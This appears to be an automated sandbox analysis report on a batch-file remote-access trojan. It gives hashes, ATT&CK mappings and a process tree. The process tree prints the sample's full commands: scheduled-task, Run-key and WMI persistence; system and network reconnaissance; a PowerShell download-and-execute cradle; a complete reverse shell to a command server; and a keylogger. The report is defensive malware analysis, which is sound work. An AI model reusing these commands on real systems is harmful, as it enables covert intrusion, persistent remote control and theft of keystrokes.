630726bc69581eac1f01232e174125042df340dcffd8ec2f3dc73f2b38c60a16

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
rat_build_256814_014659.bat
Size 4KB
Sample260529-b18ffag13x
SHA256 630726bc69581eac1f01232e174125042df340dcffd8ec2f3dc73f2b38c60a16
MD5 ab3c7a71515ddc9390b8c010034e4009
SHA1 92029c272804dd803be1a3e6a94c30e019f19344
SHA512 600396c78fe74e9f92ee6403318e94089081aa59d5fff87a78cad62bf5431a53bcea52bc4f3eb5f315c468477576202c1b3ddffe21ad74c35dcebd805ed01e1f
SSDEEP 96:bIE4tWRcUlGSeQWYU0VV96LLUOw96UXU9eESeQg6YInCviFgZk8mvlo18gB:bX9RcUWYjduNw9L7eQPCviFgkHl5gB
TLSH
T11BA1F7236357702095B06649EE763C68876CD9FB1319C6BDAF48CCC60A4CF4395A9AE3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_256814.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2064	powershell.exe
3696	powershell.exe
1476	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_256814 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_256814.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3684	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1112	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4432	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3940	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3696	powershell.exe
3696	powershell.exe
1476	powershell.exe
1476	powershell.exe
2064	powershell.exe
2064	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3884	WMIC.exe
Token: SeSecurityPrivilege	3884	WMIC.exe
Token: SeTakeOwnershipPrivilege	3884	WMIC.exe
Token: SeLoadDriverPrivilege	3884	WMIC.exe
Token: SeSystemProfilePrivilege	3884	WMIC.exe
Token: SeSystemtimePrivilege	3884	WMIC.exe
Token: SeProfSingleProcessPrivilege	3884	WMIC.exe
Token: SeIncBasePriorityPrivilege	3884	WMIC.exe
Token: SeCreatePagefilePrivilege	3884	WMIC.exe
Token: SeBackupPrivilege	3884	WMIC.exe
Token: SeRestorePrivilege	3884	WMIC.exe
Token: SeShutdownPrivilege	3884	WMIC.exe
Token: SeDebugPrivilege	3884	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3884	WMIC.exe
Token: SeRemoteShutdownPrivilege	3884	WMIC.exe
Token: SeUndockPrivilege	3884	WMIC.exe
Token: SeManageVolumePrivilege	3884	WMIC.exe
Token: 33	3884	WMIC.exe
Token: 34	3884	WMIC.exe
Token: 35	3884	WMIC.exe
Token: 36	3884	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3884	WMIC.exe
Token: SeSecurityPrivilege	3884	WMIC.exe
Token: SeTakeOwnershipPrivilege	3884	WMIC.exe
Token: SeLoadDriverPrivilege	3884	WMIC.exe
Token: SeSystemProfilePrivilege	3884	WMIC.exe
Token: SeSystemtimePrivilege	3884	WMIC.exe
Token: SeProfSingleProcessPrivilege	3884	WMIC.exe
Token: SeIncBasePriorityPrivilege	3884	WMIC.exe
Token: SeCreatePagefilePrivilege	3884	WMIC.exe
Token: SeBackupPrivilege	3884	WMIC.exe
Token: SeRestorePrivilege	3884	WMIC.exe
Token: SeShutdownPrivilege	3884	WMIC.exe
Token: SeDebugPrivilege	3884	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3884	WMIC.exe
Token: SeRemoteShutdownPrivilege	3884	WMIC.exe
Token: SeUndockPrivilege	3884	WMIC.exe
Token: SeManageVolumePrivilege	3884	WMIC.exe
Token: 33	3884	WMIC.exe
Token: 34	3884	WMIC.exe
Token: 35	3884	WMIC.exe
Token: 36	3884	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2868	WMIC.exe
Token: SeSecurityPrivilege	2868	WMIC.exe
Token: SeTakeOwnershipPrivilege	2868	WMIC.exe
Token: SeLoadDriverPrivilege	2868	WMIC.exe
Token: SeSystemProfilePrivilege	2868	WMIC.exe
Token: SeSystemtimePrivilege	2868	WMIC.exe
Token: SeProfSingleProcessPrivilege	2868	WMIC.exe
Token: SeIncBasePriorityPrivilege	2868	WMIC.exe
Token: SeCreatePagefilePrivilege	2868	WMIC.exe
Token: SeBackupPrivilege	2868	WMIC.exe
Token: SeRestorePrivilege	2868	WMIC.exe
Token: SeShutdownPrivilege	2868	WMIC.exe
Token: SeDebugPrivilege	2868	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2868	WMIC.exe
Token: SeRemoteShutdownPrivilege	2868	WMIC.exe
Token: SeUndockPrivilege	2868	WMIC.exe
Token: SeManageVolumePrivilege	2868	WMIC.exe
Token: 33	2868	WMIC.exe
Token: 34	2868	WMIC.exe
Token: 35	2868	WMIC.exe
Token: 36	2868	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2868	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3948 wrote to memory of 3940	3948	cmd.exe	86
PID 3948 wrote to memory of 4432	3948	cmd.exe	87
PID 3948 wrote to memory of 3884	3948	cmd.exe	88
PID 3948 wrote to memory of 2868	3948	cmd.exe	89
PID 3948 wrote to memory of 956	3948	cmd.exe	90
PID 3948 wrote to memory of 1112	3948	cmd.exe	93
PID 3948 wrote to memory of 3684	3948	cmd.exe	98
PID 3948 wrote to memory of 3696	3948	cmd.exe	99
PID 3948 wrote to memory of 1476	3948	cmd.exe	101
PID 3948 wrote to memory of 2064	3948	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_256814_014659.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_256814" /tr "C:\Users\Admin\AppData\Local\Temp\_256814.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3940
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_256814" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_256814.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4432
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_256814", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3884
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_256814", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_256814.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2868
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_256814.txt
  2⤵
  PID:956
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1112
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_256814.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7570464d4743baa71fa76c0c6caf16eb61dbbef53983349881c6068d52647730
MD5 fc024e9c0ed08d56a443128c4bd6b68a
SHA1 586deff3389821a22c5bdc1074da856f1276debb
SHA512 deef4a365797debb1acd924bb1d0234f2d0529166048ddc50c2f0a25744a376e6062495944a209c86724a5bf7988e14b858456cbc1c1d47a137ead4a26ebab5f
TLSH
T150117627F39CC961CC96153A409DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bdf7b694e395450108e7d79ea6b7d14323ba10a91b6157d637d1e03b9ce8b9b1
MD5 4d18a024ae042f3fefa037024653c4e3
SHA1 40bcdd726bc42cb72af66d7f6c5664af54536b2f
SHA512 80567b902ba681a9b5877f93d16b068155b0de43f3f56293fa94a25d0cd035c0747a6e3c891da126de9e198f104ea7ac32e7ef7472eb752aa8a563d1f00b5994
TLSH
T120115727B39C89A1CC96153A409D9C1172B683DB809EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3hff5c2e.s5j.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3hff5c2e.s5j.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3696-3-0x0000026014A10000-0x0000026014A32000-memory.dmp

Download